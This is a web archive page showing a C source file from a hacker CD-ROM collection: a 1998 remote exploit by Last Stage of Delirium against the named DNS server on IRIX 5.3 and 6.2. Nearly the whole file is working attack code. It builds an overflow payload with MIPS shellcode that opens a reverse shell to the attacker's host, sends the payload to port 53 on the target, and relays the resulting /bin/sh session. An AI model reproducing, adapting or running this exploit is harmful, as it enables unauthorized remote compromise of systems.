home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / irix / irx_named.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-10-22  |  7.9 KB  |  232 lines
  1. /*## copyright LAST STAGE OF DELIRIUM may 1998 poland        *://lsd-pl.net/ #*/
  2. /*## named                                                                   #*/
  3.  
  4. /*   usage ./r local_adr local_port target                                    */
  5. /*   you must specify the local_adr and local_port since                      */
  6. /*   the remote shell is a connecting shell not a classic                     */
  7. /*   bind shell (it connects with the local machine)                          */
  8.  
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <netinet/in.h>
  12. #include <unistd.h>
  13. #include <netdb.h>
  14. #include <stdio.h>
  15. #include <fcntl.h>
  16. #include <errno.h>
  17.  
  18. #define START_ADR    0x10040100    
  19.  
  20. #define PUTADR(p,adr) {*p=(adr>>24)&0xff;*(p+1)=(adr>>16)&0xff;*(p+2)=(adr>>8)&0xff;*(p+3)=adr&0xff;}
  21.  
  22. #define PUTADRH(p,adr) {*p=(adr>>24)&0xff;*(p+1)=(adr>>16)&0xff;}
  23. #define PUTADRL(p,adr) {*p=(adr>>8)&0xff;*(p+1)=adr&0xff;}
  24.  
  25. char tablica[25]={
  26.     0x00,0x00,0x34,0x34,0x09,0x80,0x00,0x00,
  27.     0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
  28.     0x01,0x00,0x01,0x20,0x20,0x20,0x20,0x00,
  29.     0x00
  30. };
  31.  
  32. char asmcode[]={
  33.     "\x24\x04\x00\x02"       /* li      $a0,2              */ 
  34.     "\x24\x05\x00\x02"       /* li      $a1,2              */
  35.     "\x24\x06\x00\x00"       /* li      $a2,0              */
  36.     "\x24\x02\x04\x53"       /* li      $v0,1107           */
  37.     "\x00\x00\x00\x0c"       /* syscall                    */
  38.     "\x00\x00\x00\x00"       /* nop                        */
  39.     "\x00\x40\x80\x25"       /* move    $s0,$v0            */
  40.     "\x00\x40\x20\x25"       /* move    $a0,$v0            */
  41.     "\x3c\x05\x10\x04"       /* lui     $a1,0x1004         */
  42.     "\x34\xa5\xff\xff"       /* ori     $a1,$a1,0xffff     */ 
  43.     "\x24\x06\x00\x10"       /* li      $a2,16             */
  44.     "\x24\x02\x04\x43"       /* li      $v0,1091           */
  45.     "\x00\x00\x00\x0c"       /* syscall                    */
  46.     "\x00\x00\x00\x00"       /* nop                        */
  47.     "\x24\x02\x03\xee"       /* li      $v0,1006           */
  48.     "\x24\x04\x00\x00"       /* li      $a0,0              */
  49.     "\x00\x00\x00\x0c"       /* syscall                    */
  50.     "\x00\x00\x00\x00"       /* nop                        */
  51.     "\x24\x02\x03\xee"       /* li      $v0,1006           */
  52.     "\x24\x04\x00\x01"       /* li      $a0,1              */
  53.     "\x00\x00\x00\x0c"       /* syscall                    */
  54.     "\x00\x00\x00\x00"       /* nop                        */
  55.     "\x24\x02\x03\xee"       /* li      $v0,1006           */
  56.     "\x24\x04\x00\x02"       /* li      $a0,2              */
  57.     "\x00\x00\x00\x0c"       /* syscall                    */
  58.     "\x00\x00\x00\x00"       /* nop                        */
  59.     "\x02\x00\x20\x25"       /* move    $a0,$s0            */
  60.     "\x24\x02\x04\x11"       /* li      $v0,1041           */
  61.     "\x00\x00\x00\x0c"       /* syscall                    */
  62.     "\x00\x00\x00\x00"       /* nop                        */
  63.     "\x02\x00\x20\x25"       /* move    $a0,$s0            */
  64.     "\x24\x02\x04\x11"       /* li      $v0,1041           */
  65.     "\x00\x00\x00\x0c"       /* syscall                    */
  66.     "\x00\x00\x00\x00"       /* nop                        */
  67.     "\x02\x00\x20\x25"       /* move    $a0,$s0            */
  68.     "\x24\x02\x04\x11"       /* li      $v0,1041           */
  69.     "\x00\x00\x00\x0c"       /* syscall                    */
  70.     "\x00\x00\x00\x00"       /* nop                        */
  71.     "\x3c\x04\x10\x01"       /* lui     $a0,0x1001         */
  72.     "\x34\x84\xff\xf1"       /* ori     $a0,$a0,0xfff1     */
  73.     "\x3c\x05\x10\x02"       /* lui     $a1,0x1002         */
  74.     "\x34\xa5\xff\xf2"       /* ori     $a1,$a1,0xfff2     */
  75.     "\x24\x02\x03\xf3"       /* li      $v0,1011           */
  76.     "\x00\x00\x00\x0c"       /* syscall                    */
  77.     "\x00\x00\x00\x00"       /* nop                        */
  78.     "/bin/sh\x00"  
  79.     "\x00\x00\x00\x00"
  80.     "\x00\x00\x00\x00"
  81.     "\x00\x02\x00\x00"
  82.     "\x00\x00\x00\x00"
  83.     "\x00\x00\x00\x00"
  84.     "\x00\x00\x00\x00" 
  85. };
  86.  
  87. main(int argc,char **argv){
  88.     int sck,i,srvsck;
  89.     fd_set readfs;
  90.     struct sockaddr_in address;
  91.     struct sockaddr_in local;
  92.     struct hostent *hp;
  93.     int size;
  94.     unsigned long lregt9,lreggp,lstart,lbcop7,ltmp;
  95.     char regt9[4],reggp[4],start[4],bcop7[4];    
  96.     char *b,*p;
  97.  
  98.     printf("copyright LAST STAGE OF DELIRIUM may 1998 poland  //lsd-pl.net/\n");
  99.     printf("named for irix 5.3 6.2 IP:??\n\n");
  100.  
  101.     if(argc!=4){
  102.         printf("usage: %s local_adr local_port target\n",argv[0]);exit(1);
  103.     }
  104.  
  105.     srvsck=socket(AF_INET,SOCK_STREAM,0);
  106.  
  107.     bzero(&local,sizeof(local));
  108.     local.sin_family=AF_INET;
  109.     local.sin_port=htons(atoi(argv[2]));
  110.     if((local.sin_addr.s_addr=inet_addr(argv[1]))==-1){
  111.         if((hp=gethostbyname(argv[1]))==NULL){
  112.             printf("error: address.\n");exit(-1);
  113.         }
  114.         memcpy(&local.sin_addr.s_addr,hp->h_addr,4);
  115.     }
  116.     if (bind(srvsck,(struct sockaddr *)&local,sizeof(local))<0) {
  117.        perror("error");exit(-1);
  118.      } 
  119.  
  120.     lbcop7=lregt9=START_ADR;
  121.     lstart=START_ADR+0x14;    
  122.     lreggp=START_ADR+0x8024;    
  123.     PUTADR(regt9,lregt9);
  124.     PUTADR(reggp,lreggp);
  125.     PUTADR(start,lstart);
  126.     PUTADR(bcop7,lbcop7);
  127.  
  128.     ltmp=START_ADR+0xd8;
  129.     PUTADRH(&asmcode[0x34-20+2],ltmp);
  130.     PUTADRL(&asmcode[0x38-20+2],ltmp);
  131.     ltmp=START_ADR+0xc8;
  132.     PUTADRH(&asmcode[0xa8-20+2+4],ltmp);
  133.     PUTADRL(&asmcode[0xac-20+2+4],ltmp);
  134.     PUTADR(&asmcode[0xcc-20+4],ltmp);
  135.     ltmp=START_ADR+0xd0;
  136.     PUTADRH(&asmcode[0xb0-20+2+4],ltmp);
  137.     PUTADRL(&asmcode[0xb4-20+2+4],ltmp);
  138.     ltmp=local.sin_addr.s_addr;
  139.     PUTADR(&asmcode[0xdc-20],ltmp);
  140.     ltmp=local.sin_port;
  141.     PUTADRL(&asmcode[0xda-20],ltmp);
  142.  
  143.     size=930;
  144.     tablica[0]=(size+23)>>8;
  145.     tablica[1]=(size+23)&0xff;
  146.     tablica[23]=size>>8;
  147.     tablica[24]=size&0xff;
  148.  
  149.     if((b=(char*)malloc(10500))==NULL) return(-1);
  150.     memset(b,0,10500);
  151.     bcopy(tablica,b,sizeof(tablica));
  152.  
  153.     for(i=0;i<sizeof(asmcode);i++)
  154.       b[2+32+i]=asmcode[i];
  155.     for(i=0;i<4;i++){
  156.       b[2+200+420+i]=start[i];
  157.       b[2+200+420+420+i]=regt9[i];
  158.       b[1018+i]=reggp[i];
  159.       b[930+i]=bcop7[i];
  160.       b[1018-(7*8+4)+i]=regt9[i];
  161.     }
  162.     b[968]=0x20;
  163.     b[528]=0x08;
  164.  
  165.     sck=socket(AF_INET,SOCK_STREAM,0);
  166.  
  167.     bzero(&address,sizeof(address));
  168.     address.sin_family=AF_INET;
  169.     address.sin_port=htons(53);
  170.     if((address.sin_addr.s_addr=inet_addr(argv[3]))==-1){
  171.         if((hp=gethostbyname(argv[3]))==NULL){
  172.             printf("error: address.\n");exit(-1);
  173.         }
  174.         memcpy(&address.sin_addr.s_addr,hp->h_addr,4);
  175.     }
  176.  
  177.  
  178.     if(connect(sck,(struct sockaddr *)&address,sizeof(address))<0){
  179.         perror("error");exit(-1);
  180.     }
  181.     fflush(stdout);
  182.  
  183.     write(sck,b,25+size);
  184.     close(sck);
  185.  
  186.     size=10000;
  187.     b[0]=(size+23)>>8;
  188.     b[1]=(size+23)&0xff;
  189.     b[23]=size>>8;
  190.     b[24]=size&0xff;
  191.  
  192.     sck=socket(AF_INET,SOCK_STREAM,0);
  193.     sleep(1);
  194.     if(connect(sck,(struct sockaddr *)&address,sizeof(address))<0){
  195.         perror("error");exit(-1);
  196.     }
  197.     fflush(stdout);
  198.     write(sck,b,25+size);
  199.     close(sck);
  200.  
  201.     listen(srvsck,5);
  202.     srvsck=accept(srvsck,(struct sockaddr*)&local,&i);
  203.     printf("%s successfully exploited\n",argv[3]); 
  204.     fflush(stdout);
  205.     while(1){
  206.         FD_ZERO(&readfs);
  207.         FD_SET(0,&readfs);
  208.         FD_SET(srvsck,&readfs);   
  209.         if(select(FD_SETSIZE,&readfs,NULL,NULL,NULL)){
  210.             int cnt;
  211.             char buf[1024];
  212.             if(FD_ISSET(0,&readfs)){
  213.                 if((cnt=read(0,buf,1024))<1){
  214.                     if(errno==EWOULDBLOCK||errno==EAGAIN) continue; 
  215.                     else {printf("koniec.\n");exit(-1);}
  216.                 }
  217.                 write(srvsck,buf,cnt);
  218.             }
  219.             if(FD_ISSET(srvsck,&readfs)){
  220.                 if((cnt=read(srvsck,buf,1024))<1){
  221.                     if(errno==EWOULDBLOCK||errno==EAGAIN) continue; 
  222.                     else {printf("koniec.\n");exit(-1);}
  223.                 }
  224.                 write(1,buf,cnt);
  225.             }
  226.         }
  227.     }
  228.    free(b);
  229.    close(srvsck);
  230. }
  231.  
  232.